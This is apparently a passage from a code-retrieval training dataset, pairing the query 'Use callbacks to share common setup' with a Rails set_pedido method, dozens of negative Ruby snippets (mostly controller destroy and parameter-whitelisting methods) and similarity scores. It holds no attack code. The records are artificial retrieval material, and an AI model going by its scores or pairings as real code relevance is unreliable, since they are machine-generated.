end\n end", "def destroy\n @livro = Livro.find(params[:id])\n @livro.destroy\n\n respond_to do |format|\n format.html { redirect_to livros_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vano = Vano.find(params[:id])\n @vano.destroy\n\n respond_to do |format|\n format.html { redirect_to vanos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @detalle_orden_trabajo.destroy\n respond_to do |format|\n format.html { redirect_to @orden_trabajo, notice: 'Detalle fue eliminado con éxito.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @prepagada = Prepagada.find(params[:id])\n @prepagada.destroy\n\n respond_to do |format|\n format.html { redirect_to prepagadas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @imagen_pedido = ImagenPedido.find(params[:id])\n @imagen_pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to imagen_pedidos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_negocio = TipoNegocio.find(params[:id])\n @tipo_negocio.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_negocios_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @trnodo = Trnodo.find(params[:id])\n @trnodo.destroy\n\n respond_to do |format|\n format.html { redirect_to trnodos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @movimentacao.destroy\n respond_to do |format|\n format.html { redirect_to movimentacaos_url, notice: \"Movimentação Apagada com Sucesso.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipoenvolvido.destroy\n respond_to do |format|\n format.html { redirect_to tipoenvolvidos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.find(params[:id])\n @juzgado.destroy\n\n respond_to do |format|\n format.html { redirect_to juzgados_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @veiculo.destroy\n respond_to do |format|\n format.html { redirect_to veiculos_url, notice: 'Veiculo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @parlo.destroy\n respond_to do |format|\n format.html { redirect_to parlos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7276846", "0.71442586", "0.71386904", "0.70953083", "0.70914274", "0.7006441", "0.6989652", "0.69702727", "0.6943676", "0.69317776", "0.6930003", "0.6928245", "0.69174296", "0.6914946", "0.69103324", "0.6906367", "0.6906091", "0.69055575", "0.6897594", "0.68893635", "0.6876177", "0.68737847", "0.6872605", "0.6855179", "0.68535763", "0.6852449", "0.6848663", "0.68464744", "0.68411016", "0.68324536", "0.68314636", "0.6829498", "0.68261844", "0.6825439", "0.68142647", "0.68137854", "0.68108815", "0.68106633", "0.6810153", "0.6803983", "0.6803322", "0.67983776", "0.67879945", "0.67867327", "0.6785023", "0.6781753", "0.67810184", "0.67806375", "0.6777855", "0.6774567", "0.6774563", "0.6771879", "0.67717", "0.6771607", "0.6771215", "0.6768159", "0.6765772", "0.67649806", "0.6758023", "0.67576903", "0.6755854", "0.6749214", "0.6749214", "0.6749214", "0.6748835", "0.6745967", "0.6744473", "0.6744154", "0.67416084", "0.6739863", "0.6737727", "0.67339385", "0.67334116", "0.673325", "0.6732976", "0.6732909", "0.6731756", "0.6728045", "0.67264795", "0.67244065", "0.67229277", "0.6719544", "0.6717637", "0.67159355", "0.67153186", "0.67150575", "0.6714618", "0.6713363", "0.6707183", "0.67063385", "0.6704665", "0.6702407", "0.67017037", "0.670038", "0.6699189", "0.6698168", "0.66975677" ]
0.6933144
12
Use callbacks to share common setup or constraints between actions.
def set_pedido @pedido = Pedido.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def pedido_params params.require(:pedido).permit(:empresa_id, :orden_numero, :cliente_id, :fecha_pedido, :direccion, :monto_total, :tiempo_estimado_envio, :recepcionado, :enviado, :entregado, :usuario_id, :repartidor_id, :estado, detalle_pedidos_attributes: [:pedido_id, :empresa_id, :plato_id, :cantidad, :costo_plato]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
First set of errors when submitting empty form
def date_of_birth_error_present? wait_for(5) { displayed?(DATE_OF_BIRTH_ERROR) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_errors_if_any(form)\n form.semantic_errors(*form.object.errors.keys)\n end", "def errors_for(attrs = {})\n form = new_form\n form.validate(attrs)\n if attrs.keys.length == 1\n form.errors[attrs.keys.first]\n else\n form.errors\n end\n end", "def set_errors\n @errors = []\n\n if self.name == nil || self.name == \"\"\n @errors << \"Name cannot be blank.\"\n end\n if self.username == nil || self.username == \"\"\n @errors << \"Username cannot be blank.\"\n end\n if self.email == nil || self.email == \"\"\n @errors << \"Email cannot be blank.\"\n end\n if self.password == nil || self.password == \"\"\n @errors << \"Password cannot be blank.\"\n end\n if self.budget == nil || self.budget == \"\"\n @errors << \"Budget cannot be blank.\"\n end\n end", "def update_errors\n @errors = []\n @errors << 'One of the cards needs attention' unless cards.all?(&:valid?)\n if email\n @errors << 'Email is not in correct format' unless email_well_formed?\n else\n @errors << 'Email is a required field'\n end\n @errors << 'Wallet token is a required field' unless wallet_token\n @errors\n end", "def step_validation\n step_index = form_steps[:pages].index(form_step)\n\n if self.form_steps[:pages].index('title') <= step_index\n self.errors['name'] << 'You must enter a name for the dataset' if self.name.blank? || self.name.strip.blank?\n end\n\n if self.form_steps[:pages].index('connector') <= step_index\n self.errors['type'] << 'You must enter a connector type' unless CONNECTOR_TYPES.include? self.type\n self.errors['provider'] << 'You must enter a connector provider' unless CONNECTOR_PROVIDERS.include? self.provider\n self.errors['connector_url'] << 'You must enter a valid url' \\\n unless self.connector_url && !self.connector_url.blank? && valid_url?(self.connector_url)\n end\n\n if self.form_steps[:pages].index('labels') <= step_index\n unless self.legend && self.legend.is_a?(Hash)\n self.errors['legend'] << 'Labels not correctly defined'\n return\n end\n self.errors['legend'] << 'Latitude and Longitude have to be filled together' if\n self.legend[:lat].blank? ^ self.legend[:long].blank?\n self.errors['legend'] << 'Country and Region have to be filled together' if\n self.legend[:country].blank? ^ 